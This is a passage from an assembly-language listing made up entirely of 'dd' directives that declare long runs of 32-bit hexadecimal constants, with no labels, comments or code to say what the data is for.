81051AD4h, 3C088DFAh, 8BFF43F8h, 51E15870h dd 58CE29B8h, 4DF72C86h, 0DD934C79h, 0C3EC5C3Ch, 31979F0Bh dd 3C20A015h, 0E0CEF6EFh, 0DBCCA6DFh, 0D4FDB46Ch, 8CAF07EFh dd 0C0B3068Fh, 8BA1DF39h, 0ED1FF7B3h, 696DE30Dh, 98EA28FAh dd 9F233964h, 827AC9EEh, 0EFA6A5BDh, 0EE3F0AF1h, 0BDF278Dh dd 24C8EBBDh, 0C67697D9h, 1BD2FEACh, 1AC5A305h, 0A51A73Ah dd 0B12B7C63h, 427EA122h, 39103509h, 772ABA0Ch, 0FA2124ADh dd 9A2679A6h, 41D48BECh, 2F9D0A24h, 7527149Fh, 34F957F0h dd 0D2660F2Ah, 4E3029Dh, 0C5AE68ACh, 7CD9057Bh, 5D880178h dd 0EC4844AEh, 0E6DA7728h, 8EAE1F63h, 35CDBA2Eh, 180909DAh dd 0EC5D7B21h, 8274EBFCh, 7CA9FFF9h, 17B3F0E0h, 54D245F2h dd 0F8D0092Eh, 69EB40A9h, 12E61741h, 0B84A986Bh, 0F798646Ah dd 472B5BB9h, 4A9B8EABh, 0D9AEF1E1h, 0C831AF44h, 0E3EECAFFh dd 5ADEA567h, 4C205875h, 21A606CCh, 0D49E13D9h, 0B0954CB7h dd 0E20CB3C0h, 5CAD5567h, 65BA610Ah, 9CA0D5C5h, 8225C9EEh dd 4D638B44h, 4AF667B0h, 5B55935h, 21B2B4CCh, 3917F7D4h dd 0BFB9D80Ah, 0C41AF76Fh, 43A5BA5h, 388D5104h, 88FD1C96h dd 48427D27h, 3FA21C22h, 8090FDDEh, 13C09F0Eh, 89E949D7h dd 3AA81A22h, 0DA7EE035h, 4A7304A5h, 0EAF4D1ACh, 0CBD6AAE5h dd 0DAE0015Fh, 0FD69750Fh, 6DF6B296h, 0DA12C2A7h, 6473CA6h dd 842F6FABh, 0B0C5EF5h, 0B80181D9h, 44B99DA0h, 136E3CEFh dd 0BCDB4738h, 0B82764D2h, 6F94B416h, 0F49D104Bh, 20A3D0D2h dd 5108706Bh, 9BB7DA22h, 63893928h, 0CC6E569Fh, 0C46143D8h dd 95EE017Bh, 93FA3BC3h, 1D0F0143h, 60AD41EFh, 211AD841h dd 9CE542C4h, 8BE8C1EBh, 0A0AD4FF8h, 0DBEAED01h, 0C527B024h dd 22B72284h, 99FE17D3h, 0A7EF5D09h, 0C4F107BAh, 0BEB8FCC9h dd 7ED17D84h, 77F04036h, 0AE315C47h, 3EABAA9h, 5622496Ch dd 69BAF43Bh, 254EBBD2h, 35B01D4Eh, 0FC005839h, 500C77D8h dd 0A85591Ah, 0C1B07A09h, 0A44C76C6h, 0C6988F65h, 791F5AA3h dd 13449D62h, 0C9EAACA5h, 876246F9h, 0BDBB8125h, 0DD63B208h dd 0DABD7BEBh, 7C4B80EFh dd 0BF66C6FAh, 6F266C68h, 0E8EB21FAh, 70B949Eh, 12736CF7h dd 60385281h, 7C48FA4Ah, 0E276C6A1h, 3A4A731Bh, 538151E9h dd 0BF351D1Dh, 4670DCAEh, 9AA3C382h, 153A3D55h, 3E12C7C2h dd 1B2EFDE8h, 2B345EEBh, 3E47C8AEh, 0C421D6AFh, 7F1A1353h dd 3FF0C78Ch, 0B8D774A4h, 0BFE03590h, 0B5E24340h, 0DA5402A4h dd 0C24580A5h, 0B06634B2h, 0AA644291h, 0BE7175E5h, 0B45CA77Dh dd 0B89874FBh, 0C71BC661h, 0C54FC285h, 0FC96C532h, 0B91E64D0h dd 188806FCh, 0CB56C52Eh, 7B2D75D5h, 0DBDFC383h, 9DF9F0FCh dd 0A7354CA4h, 3766E6A8h, 54620BFCh, 644DB4FCh, 693CF076h dd 0DBA8C06Bh, 7F38C565h, 7D22F0CEh, 0A4CCF67h, 7061294Ah dd 0BF9CAE10h, 0E288BD59h, 0AD3C9DD0h, 9D10AEBDh, 16F474DEh dd 64CC4663h, 7F4CAE21h, 78A9545Ch, 0AFB6846h, 13EC675Ah dd 26BB063Fh, 23A54E91h, 8F83EA0Dh, 0AA91352Bh, 179BD496h dd 4419AB0Dh, 99577E8h, 9D5BF514h, 0D49416D6h, 0CADA6DACh dd 0AEC5CA66h, 687879D4h, 0B0E4AAE7h, 16520718h, 267C5DEh dd 4713905Eh, 9801B47Eh, 9C1BC95Bh, 0ABC6348h, 0AB10351Eh dd 8AF740AAh, 0C8BD596Dh, 224D3FA1h, 0F02EB8EDh, 24936881h dd 0AE3C9FE6h, 2C0179F9h, 8C98B93h, 84A051CFh, 425A0357h dd 2C7DA00Eh, 0E09A7A28h, 60184BAh, 9708B74Bh, 0C31DFC86h dd 0ABC8CCC4h, 0C01044EFh, 8AD59CBh, 19377952h, 500A67BDh dd 0D22657D2h, 76E4FEE9h, 2F94E53Ch, 72CA34EDh, 3853AE75h dd 655EB89Fh, 71B3D9C0h, 485143A2h, 82BE0124h, 6E16D296h dd 935DA8F0h, 0C6FCFCAFh, 272B8CA0h, 9CB2A906h, 0B89BC833h dd 0D09BEDD0h, 2ACE551Bh, 0C432B8CFh, 0D42E9FCCh, 1D34A4D3h dd 0CB0977E3h, 0FF1F91C8h, 0B5655D77h, 0F2D10928h, 0AE9A83FEh dd 34340607h, 0F4AE2E6Bh, 7D298BFDh, 84165DF8h, 4A2EFD06h dd 0EBD8C6EEh, 27FF561h, 794F5BF9h, 0C15A9C3Fh, 0E2162B39h dd 0A18BC028h, 0CD04E6A7h, 20BC5476h, 6D0EFBA1h, 0E9F73FF5h dd 0D4A4A000h, 0D9F539D9h, 0DB51538Dh, 38F23345h, 17A9ECEAh dd 0DE93D29h, 0A3B4C634h, 0EDF9B44Eh, 0E20CF232h, 3C404ACBh dd 0E5262474h, 2B46742h, 10687DEDh, 82F771EFh, 0D030832h dd 0E3AAC7Eh, 98D3B218h, 0CF3D3192h, 0B5A1221Ah, 22D8F862h dd 0CBEFBB92h, 57EC596Ah, 31869C38h, 363C413Ah, 959F02FFh dd 0C43ACE95h, 8F45CE85h, 0CC466A56h, 763841F3h, 0ADFA69CFh dd 0ACC6AB9Ch, 0F9ADB3E0h, 0F1215284h, 850CBCA4h, 208E86F7h dd 0A2F77A2Dh, 92957A78h, 3F1C21D4h, 33067D3Ch, 4735127Bh dd 0FF039DD8h, 0E9AD2330h, 54B71219h, 0A2BD48BCh, 23E08A5Eh dd 0DE55A115h, 16817430h, 0D505D13Bh, 0DF04DE44h, 0AB3919A4h dd 0F691C9B4h, 0DBE216ADh, 0DE89B047h, 6AA0FF43h, 0C5F9D548h dd 7E34CDF0h, 309CAD8Eh, 0BA9C42C9h, 0DA18CDD5h, 0CCE0CDC5h dd 3230662Dh, 0CB3526AEh, 24D5A670h, 4B05C5CEh, 0F7B23E4Ch dd 0A90130F5h, 0AA30BDB0h, 5F309C6Fh, 69750C1Bh, 0A08AB788h dd 593AF7FFh, 4EA449C5h, 626DB000h, 0D8C9B836h, 3200BCF7h dd 0D0AC8F4Bh, 0A9386612h, 0EB92BCBDh, 0D418D39Eh, 4ED0D380h dd 0CF35B22Fh, 8F68FD41h, 0B9EAC981h, 35700401h, 8B2FC2D4h dd 466E41BFh, 17F5B513h, 0E25E7659h, 7423B464h, 4F2D4F50h dd 7C11037h, 0A77ABABAh, 30098527h, 0E2E29Bh, 0C8D67F36h dd 0CB291C6Fh, 783100C3h, 6A2F6DEFh, 6FA25980h, 954C6EA8h dd 34547C80h, 0BBF401F8h, 7A211A4Ch, 457E71D3h, 81289038h dd 3C20FC2Fh, 1CF646F9h, 0E4F5FBAh, 0C32F59F7h, 88277484h dd 0DA2BE4F6h, 598E3E46h, 0DBD1130h, 5F67BDE6h, 7CF7C03Ah dd 2BC7980h, 0CDE84952h, 851779E0h, 0FF361795h, 0CC667BA0h dd 0CBF4BE81h, 0F3F5B7C4h, 6A755674h, 6E7F9087h, 0C37C5B86h dd 0EE1C0914h, 18E24C99h, 0C3B59910h, 653D379Eh, 6FEF4EE2h dd 0A362CE4h, 4308241Ah, 0DB3F75E0h, 55362AF8h, 925379F8h dd 64A74F64h, 0C42EA875h, 0EF78D44h, 743CD5A6h, 0C4EC7088h dd 42032D0Bh, 0E37771FFh, 0C86D842Fh, 47EE190Dh, 0DF54F46Fh dd 0C8DCF4F4h, 78F92297h, 0C723FCFCh, 1D2593E0h, 598EEF22h dd 0CFA11EBBh, 0E624ABEFh, 0DA3824D6h, 0F5980ECCh, 280D00DDh dd 37961B7Bh, 0AFCCF310h, 19450B29h, 0AC945184h, 8F58A8C5h dd 7BFD6B5Ch, 40507824h, 7B307AEDh, 4C9AD579h, 7C3F2CE0h dd 0EA2AD9E4h, 0D0FDE4E0h, 5B44886Bh, 9F3A0D0Eh, 0FAF9B3C2h dd 103468D7h, 3AE4CF8Eh, 151CED04h, 27EBB629h, 1F381C84h dd 27009BFCh, 0FD07794Ah, 0D7622392h, 3727014Fh, 6CA9F12Bh dd 295B4DEAh, 53306E00h, 472CF79Bh, 9400E5C2h, 0AF067D04h dd 12046705h, 554D395Eh, 24CB593Ch, 40D1FCE9h, 5C064B6Ch dd 0CBAA43D6h, 0BB450366h, 4B180118h, 6C3017F0h, 69048065h dd 8471789Eh, 72AAE172h, 16C5099Ah, 0AE2B4EFFh, 0C6483163h dd 8F18F134h, 0E9F88EC0h, 4FC009Ch, 0C82B63Ah, 4A4C7216h dd 4C4E7550h, 0B83EDC2h, 3F6D18BEh, 0BFCE7h, 0C5B8AB64h dd 84FD5ACFh, 140BE776h, 7507FDC9h, 21BB9D54h, 0D6E57E23h dd 3AED6384h, 52C4D7C6h, 6E254AF8h, 0A21B3908h, 4C46F850h dd 7F240ED4h, 0F084E987h, 786C7300h, 0A705F529h, 9B6C80FCh dd 43E68F28h, 7A05F16Bh, 8A1F078Ch, 0F4A07D39h, 9C20B861h dd 0BA17C50Fh, 3B70F154h, 0E0AD188Fh, 0EDD448BFh, 7B54A36Ch dd 8F4D7FAFh, 0C3BADD04h, 8075B772h, 53C9847Dh, 0C9B0C4Bh dd 3AA121E2h, 0F409815Ch, 6EF5E724h, 0C4A1F1E4h, 4A2FCADh dd 6CAD07E4h, 0C4F564E6h, 0C5BEE706h, 9A057F30h, 2085BBFCh dd 0C8E477E9h, 2505902Eh, 0DB06CB28h, 0FB2367F8h, 4AC732Eh dd 4C0C7D28h, 5F5E6668h, 0E0AD277Ch, 7C215E3Ch, 6B057EB2h dd 0B18735FCh, 2F2EC7FFh, 7990C1EAh, 5EACBAFCh, 892DED3Fh dd 0D54547F8h, 0FE0E4766h, 6A0C89C8h, 7CCA4768h, 0DCC44150h dd 52C41EBh, 7CEA756Bh, 0FCB3B428h, 973480DAh, 0DDF45D64h dd 0FD3EFCE7h, 0C33497CFh, 0F134CE4Eh, 0FB06FB4Ah, 6B2F14E6h dd 7C464768h, 0DC70417Ah, 0BEE6808Dh, 3F2F5D68h, 0FCD5B454h dd 0D5BFBD91h, 5A49754Dh, 0C27B77A3h, 84350ECFh, 0C5285C4Fh dd 0FE670A9h, 79E0D0CFh, 3530E2CEh, 38BD6459h, 48C5D8Fh dd 71AD78FDh, 0C71964E6h, 0C5CFE71Dh, 4C057F0Fh, 0BF86B6FCh dd 0D42E40FFh, 5413749Bh, 0DC367BC9h, 0D5F547F8h, 0D5DB41F1h dd 0BE38DE35h, 79ED7528h, 47377AE4h, 0C9F3E4D1h, 0AF0558FEh dd 72C1334Ch, 9B2F0CE2h, 0C84D04D2h, 53F08682h, 445CCDEEh dd 794C6284h, 912F6524h, 0D6E9CC71h, 23E63183h, 0F23632C4h dd 71F0085h, 3B14DBC7h, 0C5FC6749h, 76AC69A1h, 0D9A4CD66h dd 0F589E3FCh, 807FCCh, 9553BC3Ch, 2C856249h, 0A055417Eh dd 0D57F47E2h, 0F4004689h, 600D30C8h, 7C634768h, 399D415Ah dd 642D2D54h, 904DCDBh, 7487FFC7h, 65C88A08h, 0AAC7F463h dd 3FE2533Bh, 28E64FA4h, 9E9166B4h, 1A9852Dh, 52FB1FA6h dd 92C016Eh, 391DBB1Eh, 3FAA4BF0h, 440A66DAh, 9B3B3DCAh dd 2C2A97FAh, 3E5A69EAh, 56526477h, 0C44A715Ch, 97C122A4h dd 0DC3504AAh, 0C4942554h, 0B4E6DFEAh, 564DE89Ch, 9591BD47h dd 0D72CB37Ah, 790DFB25h, 0BCDAF4E4h, 2BCB211Ah, 4DC2C768h dd 7CF8ABFCh, 38BCDB3Ah, 1B0ECD22h, 6905F4B7h, 41D5B08Bh dd 3C5AD1DBh, 323B0668h dd 0CF6C8FD4h, 0C2BCA0FCh, 42F00FAh, 0DE372E96h, 0CE9F1AC0h dd 8C1D2088h, 0DD40476Ah, 0BBE167A2h, 599C73C4h, 0D58971E1h dd 0C3B0E74Eh, 40ACF229h, 0D42A841Fh, 2CCFC11Ah, 0C8A0E20Ch dd 2867E3Bh, 37F69B78h, 2E10FFFAh, 0C3EE5C3Fh, 3B056BC7h dd 7E2C4DF9h, 0DBC08E4h, 72331A9Eh, 1810F785h, 84325CB0h dd 0B9347E4Bh, 3A38C98Eh, 0C868645Ch, 5286734Bh, 47E77E78h dd 6DD58164h, 0B8CA64E2h, 7FFC4D09h, 3A46B8FCh, 7F1346F0h dd 0C10594C0h, 0D3BB73CFh, 0AF2F408Eh, 3B7F71CAh, 39475667h dd 97008BB1h, 0F72D29FEh, 39AF007Ah, 7B2DCDB4h, 6305F334h dd 9ADB77B1h, 0C54535F6h, 220D0B18h, 1CA14829h, 22EB5EB1h dd 50E643FEh, 8B764CCFh, 494F7D76h, 97073F28h, 0DA7B7E48h dd 889C66BBh, 95594969h, 74CA09EDh, 668D3B00h, 932CB079h dd 0C341367Fh, 0F4AC7C8Ch, 0D00C7125h, 0E0E3D3C1h, 0F4B4652Ch dd 4059769h, 7CFC750Ah, 7D26AF62h, 20208D0h, 7B00F0DEh dd 431545E1h, 0CC117692h, 790E7D30h, 0D605B13Ch, 0C228B56Ah dd 20F483F8h, 0F7A27CCFh, 0FCB108E7h, 0EBF58100h, 0E3A7B7E1h dd 79887D45h, 733FB589h, 567C647Fh, 977474A8h, 486C6410h dd 0B00E52A0h, 22B8472Fh, 0D0F4B95Eh, 308CE2DFh, 50AE0B48h dd 7848423Eh, 6B16F4E1h, 0B32883FFh, 0D5DF4668h, 82D47528h dd 1834B868h, 0C73270A6h, 0E4113A36h, 98B0BACFh, 48E064CFh dd 2C057320h, 0D42FA178h, 0D590F1C2h, 84B966CFh, 0DF3C460Eh dd 0C1E77984h, 0F534CECFh, 0C3B00D8Fh, 956119CFh, 0C4AC33D4h dd 0D06526A1h, 0A2ACD029h, 34A0FE78h, 0CE81EAE1h, 0A46CF1FCh dd 711CFC28h, 9AD77565h, 11E76904h, 3FD5B764h, 0BB1864E2h dd 7E024DDFh, 0C4466EFCh, 7B2146F0h, 0E608F696h, 9B057995h dd 811D2FA8h, 9A677565h, 0A1E76954h, 4FD5E764h, 0B8A864E2h dd 5CD24D6Fh, 7D5B31E1h, 0F6207901h, 20B0A5FEh, 0FF2FB038h dd 7EEF0828h, 7F1B7C8Fh, 97FD5554h, 96C373C5h, 8EDDB1h dd 1E6C5A06h, 0D89C703Bh, 7836268Ch, 0A16D10B3h, 0ACB545D2h dd 193BB93Ch, 4726BE6Bh, 0FAF03D2Bh, 20B574AEh, 61573902h dd 2A641959h, 0C5A08A7Ch, 74747FC5h, 0F835D49Eh, 0F89C86E6h dd 0E10B748Fh, 109CE7B0h, 0CE7A752Eh, 4F2F7551h, 73E79962h dd 0C3A9B3DEh, 7A87A5D3h, 135884F2h, 3D824527h, 37E6E5D8h dd 149D734Dh, 4EEBC97h, 0A56B48CFh, 9B35B35Eh, 83A9BAE4h dd 47E30528h, 5B7B7D28h, 0AF3578A2h, 0CED027CCh, 0CB049D6Bh dd 0BE6C54A2h, 0B6A0D005h, 9934A9CEh, 56E0FDB1h, 0FCACCD2Bh dd 82FAC3CCh, 18F48B7Ch, 0BA94561Ah, 1EACCC02h, 23A13DE4h dd 0A662E62h, 0D51A5DE8h, 0C2C27798h, 7CE100B9h, 0B850BF9Bh dd 0C360B491h, 0D5AB47FCh, 84217540h, 465E6DFAh, 7C475167h dd 39902ECEh, 0FB24EEBEh, 0E905A5C0h, 78D4BEB6h, 0E4E1084Ch dd 7AAF6772h, 0CEAAE5E1h, 42ACF029h, 0AF358A1Fh, 5FEB4744h dd 8B24E1FBh, 0CDABBE2Eh, 0ACAE4504h, 1F3445B0h, 0D2147953h dd 7B347565h, 2CED21E0h, 69ACE132h, 0BF24CA82h, 287AA1E4h dd 0A5730DFDh, 0DB1EB9C4h, 8EB52F92h, 0B49DF08Eh, 0CB05DEF2h dd 57057E10h, 49ACA17Ch, 0D42AFF1Fh, 2CD0C16Dh, 11358207h dd 6CE48A20h, 74CCF86Ah, 7D5E661Ch, 38DC79C1h, 4A26497h dd 793173E2h, 0FD06212Eh, 712FCF78h, 5805F92Eh, 557B11FCh dd 2F0C46D2h, 0C37AB1D5h, 8BE7810Eh, 0BF3492CFh, 0C708F4A6h dd 38EA3D53h, 786B575Eh, 0ACE6E2FAh, 0AF94202Ch, 4CEC2C87h dd 0DFD1973Eh, 1ABDF902h, 0BB2CB70Ah, 5D600529h, 0BF2CF5ECh dd 39E32122h, 142CE954h, 3CA63302h, 793269F2h, 372AC4A6h dd 0FF15030Bh, 0E93CF992h, 5554CD64h, 823F6B3Ch, 422403B0h dd 0B862B5C9h, 2CA6CB0Eh, 420B23C0h, 2A446DB5h, 0AF06EB0Ch dd 0B9048134h, 76A4A7DDh, 6E54D461h, 5ECAB520h, 0CCC2B60Ch dd 0EB4ABC9h, 0FCEAE4B7h, 6EE6815Ch, 74253E58h, 4C0E1FB4h dd 75DD08DEh, 953018C4h, 0E0197E77h, 9087FE4h, 0C3AC7393h dd 788184D3h, 1A484DCBh, 9135D7E2h, 0C44464E6h, 0F42AE7BCh dd 3530C7FEh, 389064D0h, 0C8826706h, 79D1ED2Eh, 42ACC3FCh dd 732D113Fh, 0F5067D6Bh, 4869B7Ch, 0D42EA5FFh, 5AF67512h dd 0C2E07440h, 1E2E2FCFh, 25615579h, 3E2CE166h, 440566C7h dd 9B363DF7h, 2F2597E7h, 3FA8FF97h, 3FAA8F9Fh, 457D618Fh dd 986E3CBFh, 2D9D96AFh, 7C8D695Fh, 9FEE1154h, 8975754Bh dd 9C74EE22h, 0E1B3A8D7h, 0DA3114B8h, 0E4707E67h, 0DF2F6DC1h dd 7E2E5D9Ch, 0FDA05DDFh, 0C6E8829Fh, 0E6E6815Eh, 0A4EB2564h dd 8A54574Bh, 0FF187B5Fh, 1D3483A8h, 4CF5D364h, 0C4A1DDE4h dd 5BEFCAAh, 79A87C98h, 76B215C7h, 38F4FDE2h, 78DA5D1Ch dd 0A0ACA72Eh, 0ACEAB128h, 0F4FF1DC7h, 0B2F73124h, 93B286B5h dd 0C4AC0ECEh, 0E4AE2AE0h, 0C5AE7E3Eh, 907D7B8Bh, 1B3D2FFEh dd 0C06BFFB2h, 0B87941FDh, 20BBB56Ah, 2DF48357h, 4A2DBFAh dd 7E875962h, 4F05533Ch, 6FC7476Ah, 0C3E70E6Ah, 3AA86C6Eh dd 0AF3D9209h, 4A299E4h, 7CC57328h, 9CF08061h, 554EB54Bh dd 0C29360Eh, 4A2AD7A9h, 6FEAF5E3h, 72DD4F64h, 48C866F1h dd 0CA059A55h, 0FCACE37Ch, 0C921240Bh, 95068293h, 0B2568F65h dd 0D216B424h, 32B061C9h, 2A6F5FC5h, 87BA5CEh, 542F79ACh dd 8728D0FAh, 0A8EAB4Fh, 5635CEE1h, 1D8561E0h, 555E7978h dd 128FCFAh, 0DCDA4668h, 6BE07E14h, 65EC0C61h, 0CEEC9D5Bh dd 3CF9404Eh, 0AE113E1h, 3E3639DEh, 6D8565E0h, 55EB79D0h dd 5A2854E1h, 0D4024668h, 0BD3F7517h, 0C7348CC0h, 0C72FA8A6h dd 0D55C3FEBh, 39A20FE4h, 0E62F7CA3h, 0D87B640Eh, 0C5D15688h dd 4D2E70B7h, 813152E8h, 0C5EF64FAh, 589C7FA9h, 0E3B0E186h dd 423AAEBFh, 0DC34CA8Ch, 7C4EFD79h, 4D1342Ah, 3B0465E7h dd 1AA36281h, 324A80B2h, 8BF27011h, 540E48E1h, 0AB1BBDA4h dd 0EEF05D53h, 1C3A805Eh, 0AF30DDBFh, 8633B21Ch, 8A74E9BCh dd 5AC405FCh, 1CE76919h, 0AD5A864h, 0C4E364E2h, 90CBFCA8h dd 7B24745Bh, 0BB1827F3h, 7B40FD15h, 0E12C5718h, 913923D7h dd 3324D16Ah, 0E0E64D28h, 1FD3AC9h, 7C24CD4Ch, 5E45FEDCh dd 0A047D3Ah, 49077D72h, 0BF04FB78h, 6ADB216Ah, 0D0CA4C1Ah dd 16F3FB0Ah, 44F25E6Ch, 0A96DBB7Ch, 38B53BE4h, 29CA66BCh dd 4C647245h, 39AF94E2h, 0CC7ACD26h, 0C0A70DFFh, 57497954h dd 0BC6DF8CDh, 78A73B74h, 0C562F4A0h, 2418B554h, 446A4682h dd 0CC8AFF44h, 8EACA1FCh, 3CE47136h, 34E00574h, 7A24F56Ch dd 10CD3FE4h, 0E3DFEA8Bh, 0FCD773B1h, 6205D5D0h, 4DC7F35Eh dd 0AF35AEF4h, 7BF74750h, 0E4B3D8FBh, 9FA45D64h, 1539D0DEh dd 4AC5A5E1h, 632FB96Fh, 31BDEF9Ah, 1C4A67D4h, 0F6F4E6DEh dd 1FA42DCFh, 0FFDCCA3h, 0C4ED64E2h, 81468128h, 0C9694716h dd 40798462h, 49C746Ah, 798A5114h, 47E555Ah, 78846D02h dd 3469F3C8h, 6E53D30h, 69073D28h, 9C3881F5h, 447D386Ch dd 0ECAC633Ch, 1718BB2Bh, 0FA47FFE2h, 0C227BF48h, 0ECA2917Ch dd 2706A86Ch, 0B504B29Dh, 86C40098h, 3E62A76Ch, 0A488D36h dd 630D09FCh, 80425BD6h, 56F4912Ch, 0DDA0ED36h, 847538AAh dd 2AB38512h, 39F405ECh, 1A4CB4A8h, 0BBFDBA57h, 33A5050Ah dd 79AF7CB4h, 18C54504h, 3284A87h, 0FC8D529Ch, 0C00B24D8h dd 2C02DDEEh, 18E17DF2h dd 25C5D49Ch, 0D54B5954h, 0AD564E4Fh, 302F199Ch, 3F44E4F7h dd 0CF71D3C2h, 36CCCDC4h, 616808C3h, 0DA6A9FECh, 0F730A9DEh dd 47347D28h, 0C32CFCECh, 36273BCFh, 0D29A7440h, 0FC6D1C4Dh dd 1E638A02h, 7CFAC264h, 9AACB2A5h, 0EF3E3E77h, 1A5D96E4h dd 0F4E6DCFCh, 3FC4B46Dh, 0FCFDCDF9h, 0F0047282h, 386DED12h dd 5176639Fh, 766E0566h, 7C733DA4h, 262D3AABh, 82524714h dd 0A6E23525h, 388065E4h, 410649BAh, 0DC840577h, 0A106312Eh dd 66E71504h, 3FC25412h, 3C5691CCh, 0F4F8AF62h, 0E11D8A88h dd 29B0E52Bh, 0C51634A4h, 54D43F33h, 35037BC4h, 57125C04h dd 0BCDA1AB4h, 0CEE0F52Fh, 86E445C1h, 0ABF48824h, 0AF0928A9h dd 0A00C7995h, 0CA74472Fh, 7083FBBh, 53D90538h, 2AA2739Ch dd 0FCE00523h, 7C24D554h, 0F705C9E4h, 3B647DFEh, 0DCBCC1ECh dd 20EBE532h, 0C2A2FF99h, 6249257Ch, 313AFF4Bh, 80DB4EA1h dd 0F5FB672Eh, 0C6A06DC7h, 7F3F4364h, 0B640821Ch, 0D0A1CCCFh dd 0A9384134h, 0DC064D40h, 7C1E66F3h, 7F3A9A64h, 114588B2h dd 12257C9Dh, 19E36912h, 1A946B9Eh, 0C6A6950Eh, 781D87CEh dd 40E382E4h, 2357E7FFh, 0B628B1F9h, 3E3B6B98h, 0ED377D69h dd 2F3370E7h, 0FF2A9666h, 8B40800Ch, 2C94B6CEh, 0D1610EEBh dd 4BD68EDCh, 2CFCFCFFh, 0E12AE4A3h, 0FC49FB65h, 6F1CD884h dd 9AF5FCDFh, 0C6E547D7h, 2038FD57h, 0A0540828h, 0C6E6B538h dd 0E34838Fh, 60F63664h, 0ACACC0E4h, 4D50BCC4h, 76C18FCh dd 42863502h, 0B8446711h, 2CCC8836h, 44A0872Ah, 3E7D9D6Bh dd 71728169h, 7FE2AF04h, 1CDF0B68h, 78D84311h, 3ACC86BCh dd 5FA0852Ah, 39179D66h, 0C41BFA65h, 0D2A4524Fh, 78A74313h dd 4CC8219h, 5DA08C2Ah, 392A9D6Ch, 7F2C816Ah, 77E29404h dd 1CA32C68h, 47DE43FDh, 0EB8634EFh, 981B6F17h, 0E9E05128h dd 0E66243E3h, 1CA32534h, 64E71015h, 0A861F6FFh, 0EF44A786h dd 0E3197E6Fh, 857AF5AAh, 1C513549h, 363F0BAEh, 5EAB4358h dd 0E8BCE1BFh, 0D259FF04h, 47E2892Dh, 14803402h, 0F1F69C98h dd 3EE04AF6h, 5B75537Dh, 0D2CD11C4h, 0C31B6E93h, 745A812Ah dd 1C512607h, 363F0B8Eh, 0BEAB42B8h, 0E89CE1BFh, 0D259DF04h dd 47E2E92Dh, 978C3462h, 0F0D6E1BFh, 0D259A104h, 47E2B32Dh dd 32803424h, 0F0089C98h, 393A4AF6h, 5B75757Dh, 0E8CD11EEh dd 9EAB8A2Ah, 0E87CE1BFh, 69E26E04h, 5F75787Dh, 0E5CC9158h dd 9A1B6E93h, 8571FA2Ah, 1C50C249h, 363F0857h, 51AB4341h dd 0E8ABE1BFh, 1C512A07h, 363F0819h, 0FAB430Bh, 0E8EDE1BFh dd 0D2594E04h, 5BA092FFh, 13CD1107h, 0F1DD6E93h, 0C5538DFFh dd 0E63FC7C2h, 68253D31h, 6A29FF6Bh, 0B8E3A1E1h, 682FA73Fh dd 0F5D6B78Fh, 0C3071D54h, 42EE672Dh, 6A6D24FCh, 0BA9948E1h dd 9BD3D6BDh, 0C6813F6Ch, 4906C8A8h, 0DA4E47F8h, 309C6D64h dd 0B4902594h, 0AA5AC55Ah, 75749778h, 2EE5AD3Bh, 0C2E37B4Fh dd 2C34A1CFh, 2235F74Eh, 0FC46C1F8h, 7F58B333h, 655C7CBCh dd 0CE4B1837h, 0D7AA2711h, 0BEE2E1B8h, 809C5DF3h, 0B755660Bh dd 4CC46C16h, 0B8A964E2h, 41D0996Eh, 0CCA0A37Ch, 0FB5BC97h dd 0AF304D7Fh, 1A075B28h, 0CCC064A4h, 533799CEh, 645C74D1h dd 0DA34F1CFh, 0EAF2C80h, 0C7081DECh, 0B65C83A8h, 5C8C9497h dd 503A554Bh, 4ACC1487h, 35A13454h, 0CA5E0127h, 487725Dh dd 19D6AE2Eh, 6705C9ACh, 0D9C4705h, 3CE947D5h, 473FA7FFh dd 532CE73Ch, 6759644Ch, 859D1705h, 44EA0E88h, 0B48333CDh dd 0D95F3CBFh, 0EBCB0170h, 0E5653E53h, 363E9A7Bh, 6DAB4365h dd 78CFE6BFh, 49072533h, 6C24612Dh, 0D574BE1Dh, 6306C1C3h dd 0FEB5F8F8h, 0F208CDE0h, 3DAB57A1h, 66E705F8h, 56C51E72h dd 0A8EC21AEh, 0F2833784h, 84058DC8h, 6C467F50h, 7880CDCEh dd 0C0DDE6C2h, 0F7A0ADCCh, 473A0FE7h, 3850FDD4h, 0CF0D4E09h dd 3E29C0ACh, 0F586154h, 0B498B8D4h, 61E71D40h, 0ABD52BBDh dd 0B8CD28BEh, 7AC07693h, 69981A27h, 634F555h, 6135EE67h dd 0BA08477Ch, 0E0BB3CD0h, 26C905F7h, 0B39B2E0Fh, 2385C5E0h dd 85F3BF74h, 30BD66CBh, 0BDD7662Eh, 26F4553Eh, 0F1E07503h dd 0A1E6DA3Ah, 0C55998AFh, 6B2C9AE1h, 39A07E49h, 212E4554h dd 0B8F295C4h, 385C2526h, 1CEC90CCh, 0FADD0628h, 3CDAC97Ch dd 42CAD49Ch, 5FBA6A10h, 1A6C231Dh, 549C744Dh, 0B263496Eh dd 0BB74C0E1h, 3BDB8967h, 0A8824768h, 0AAFA44E4h, 351AC4BCh dd 9B1BFD24h, 0F12864D5h, 0DE33AAFEh, 0C6AF8505h, 3324AE02h dd 0B0C96625h, 3A2C4025h, 2612324h, 0C135B40Ch, 0EB044443h dd 479F7692h, 0C00FAD9h, 0B28D5F5h, 0D5814668h, 0BCBE7500h dd 7AB40D0h, 0C421810Dh, 0C6377D1Ch, 0ADC9892Eh, 423494E1h dd 0A371156Bh, 0AD957484h, 0C6E6C7Ch, 0C7E9B4C8h, 28E0F8C9h dd 0C3815CD4h, 0A50B6BF8h, 0F9E75132h, 0DCC90F6Bh, 0FCA94FC8h dd 8EFD988Fh, 3B3266FDh, 59964D53h, 278371E1h, 0FD9D225Fh dd 593246BAh, 483DC423h, 2674654Dh, 0C9DFFB00h, 212F663Ah dd 0C20706C6h, 0FA3A4AF5h, 7D8C8A8Eh, 0E4D32BDBh, 634A5E30h dd 9547EB2Ch, 0D9D2D05h, 0E3011AA3h, 0C39C10CFh, 6ADDCFA8h dd 256B27FFh, 86C563DBh, 0E91F7EF4h, 73A8063h, 198786BCh dd 410D8DB6h, 0C3E07D67h, 2477D24Dh, 14EEAFBFh, 2C6046CFh dd 0C4A358D4h, 0C43C27CEh, 401B7D78h, 5F2CC8A6h, 624FFB82h dd 972F7934h, 0D564476Ah, 427CF4BBh, 0B7F567A6h, 0AB067E26h dd 1BA4F25Ch, 83A3D2B0h, 1D370537h, 0ABDC048Ah, 2EDA7104h dd 0D42561FFh, 0DF21AF4Ah, 9145732h, 0D0EA7D77h, 3AE4E32Ah dd 0C4D464D2h, 0A498C90Ah, 8CD4AB52h, 0E5AA9FECh, 1C1E27F3h dd 